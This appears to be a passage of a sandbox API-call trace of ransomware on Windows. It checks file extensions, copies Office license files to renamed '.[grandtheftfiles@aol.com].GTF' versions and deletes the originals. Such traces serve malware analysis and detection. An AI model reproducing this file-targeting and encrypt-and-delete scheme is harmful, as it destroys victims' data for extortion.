	[0181.074] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString=".xlsx") returned 5
	[0181.074] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.074] lstrlenW (lpString=".ppt") returned 4
	[0181.074] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.074] lstrlenW (lpString=".zip") returned 4
	[0181.074] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString=".rar") returned 4
	[0181.074] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString=".bz2") returned 4
	[0181.074] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString=".7z") returned 3
	[0181.074] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.074] lstrlenW (lpString=".dbf") returned 4
	[0181.074] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.074] lstrlenW (lpString=".1cd") returned 4
	[0181.074] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.074] lstrlenW (lpString=".jpg") returned 4
	[0181.074] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.074] lstrlenW (lpString=".doc") returned 4
	[0181.074] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.074] lstrlenW (lpString=".docx") returned 5
	[0181.075] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.075] lstrlenW (lpString=".pdf") returned 4
	[0181.075] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.075] lstrlenW (lpString=".xls") returned 4
	[0181.075] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.075] lstrlenW (lpString=".xlsx") returned 5
	[0181.075] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.075] lstrlenW (lpString=".ppt") returned 4
	[0181.075] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.075] lstrlenW (lpString=".zip") returned 4
	[0181.075] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.075] lstrlenW (lpString=".rar") returned 4
	[0181.075] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.075] lstrlenW (lpString=".bz2") returned 4
	[0181.075] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.075] lstrlenW (lpString=".7z") returned 3
	[0181.075] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.075] lstrlenW (lpString=".dbf") returned 4
	[0181.075] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.075] lstrlenW (lpString=".1cd") returned 4
	[0181.075] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0181.075] lstrlenW (lpString=".jpg") returned 4
	[0181.075] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.075] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.075] lstrlenW (lpString="O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 33
	[0181.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.076] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=24369) returned 1
	[0181.076] CloseHandle (hObject=0x554) returned 1
	[0181.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 0x220
	[0181.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.077] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.077] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0181.077] GetLastError () returned 0x0
	[0181.077] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0181.080] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0181.081] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.081] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0181.081] SetEndOfFile (hFile=0x57c) returned 1
	[0181.081] CloseHandle (hObject=0x57c) returned 1
	[0181.081] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.081] SetEndOfFile (hFile=0x554) returned 1
	[0181.085] CloseHandle (hObject=0x554) returned 1
	[0181.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 1
	[0181.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.086] lstrlenW (lpString=".doc") returned 4
	[0181.086] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.086] lstrlenW (lpString=".docx") returned 5
	[0181.086] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.086] lstrlenW (lpString=".pdf") returned 4
	[0181.086] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.086] lstrlenW (lpString=".xls") returned 4
	[0181.086] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.086] lstrlenW (lpString=".xlsx") returned 5
	[0181.086] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.086] lstrlenW (lpString=".ppt") returned 4
	[0181.086] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.086] lstrlenW (lpString=".zip") returned 4
	[0181.086] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.086] lstrlenW (lpString=".rar") returned 4
	[0181.086] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.086] lstrlenW (lpString=".bz2") returned 4
	[0181.086] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.086] lstrlenW (lpString=".7z") returned 3
	[0181.086] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.087] lstrlenW (lpString=".dbf") returned 4
	[0181.087] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.087] lstrlenW (lpString=".1cd") returned 4
	[0181.087] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.087] lstrlenW (lpString=".jpg") returned 4
	[0181.087] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.087] lstrlenW (lpString=".doc") returned 4
	[0181.087] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString=".docx") returned 5
	[0181.087] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.087] lstrlenW (lpString=".pdf") returned 4
	[0181.087] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString=".xls") returned 4
	[0181.087] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString=".xlsx") returned 5
	[0181.087] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.087] lstrlenW (lpString=".ppt") returned 4
	[0181.087] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.087] lstrlenW (lpString=".zip") returned 4
	[0181.087] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString=".rar") returned 4
	[0181.087] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString=".bz2") returned 4
	[0181.087] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.087] lstrlenW (lpString=".7z") returned 3
	[0181.087] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.087] lstrlenW (lpString=".dbf") returned 4
	[0181.087] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.088] lstrlenW (lpString=".1cd") returned 4
	[0181.088] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0181.088] lstrlenW (lpString=".jpg") returned 4
	[0181.088] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.088] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.088] lstrlenW (lpString="O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 36
	[0181.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.088] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11630) returned 1
	[0181.088] CloseHandle (hObject=0x554) returned 1
	[0181.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 0x220
	[0181.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.089] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.089] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0181.090] GetLastError () returned 0x0
	[0181.090] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0181.221] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0181.222] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.222] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0181.222] SetEndOfFile (hFile=0x57c) returned 1
	[0181.222] CloseHandle (hObject=0x57c) returned 1
	[0181.222] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.222] SetEndOfFile (hFile=0x554) returned 1
	[0181.225] CloseHandle (hObject=0x554) returned 1
	[0181.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 1
	[0181.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.227] lstrlenW (lpString=".doc") returned 4
	[0181.227] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.227] lstrlenW (lpString=".docx") returned 5
	[0181.227] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.227] lstrlenW (lpString=".pdf") returned 4
	[0181.227] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.227] lstrlenW (lpString=".xls") returned 4
	[0181.227] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.227] lstrlenW (lpString=".xlsx") returned 5
	[0181.227] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.227] lstrlenW (lpString=".ppt") returned 4
	[0181.227] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.227] lstrlenW (lpString=".zip") returned 4
	[0181.227] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.227] lstrlenW (lpString=".rar") returned 4
	[0181.227] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.227] lstrlenW (lpString=".bz2") returned 4
	[0181.227] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.227] lstrlenW (lpString=".7z") returned 3
	[0181.227] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.227] lstrlenW (lpString=".dbf") returned 4
	[0181.227] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.228] lstrlenW (lpString=".1cd") returned 4
	[0181.228] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.228] lstrlenW (lpString=".jpg") returned 4
	[0181.228] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.228] lstrlenW (lpString=".doc") returned 4
	[0181.228] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString=".docx") returned 5
	[0181.228] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.228] lstrlenW (lpString=".pdf") returned 4
	[0181.228] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString=".xls") returned 4
	[0181.228] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString=".xlsx") returned 5
	[0181.228] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.228] lstrlenW (lpString=".ppt") returned 4
	[0181.228] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.228] lstrlenW (lpString=".zip") returned 4
	[0181.228] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString=".rar") returned 4
	[0181.228] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString=".bz2") returned 4
	[0181.228] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString=".7z") returned 3
	[0181.228] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.228] lstrlenW (lpString=".dbf") returned 4
	[0181.228] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.228] lstrlenW (lpString=".1cd") returned 4
	[0181.228] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0181.228] lstrlenW (lpString=".jpg") returned 4
	[0181.229] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.229] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.229] lstrlenW (lpString="O365ProPlusR_SubTrial5-pl.xrm-ms") returned 32
	[0181.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.229] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11179) returned 1
	[0181.229] CloseHandle (hObject=0x554) returned 1
	[0181.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 0x220
	[0181.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.230] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.230] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0181.231] GetLastError () returned 0x0
	[0181.231] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0181.233] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0181.234] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
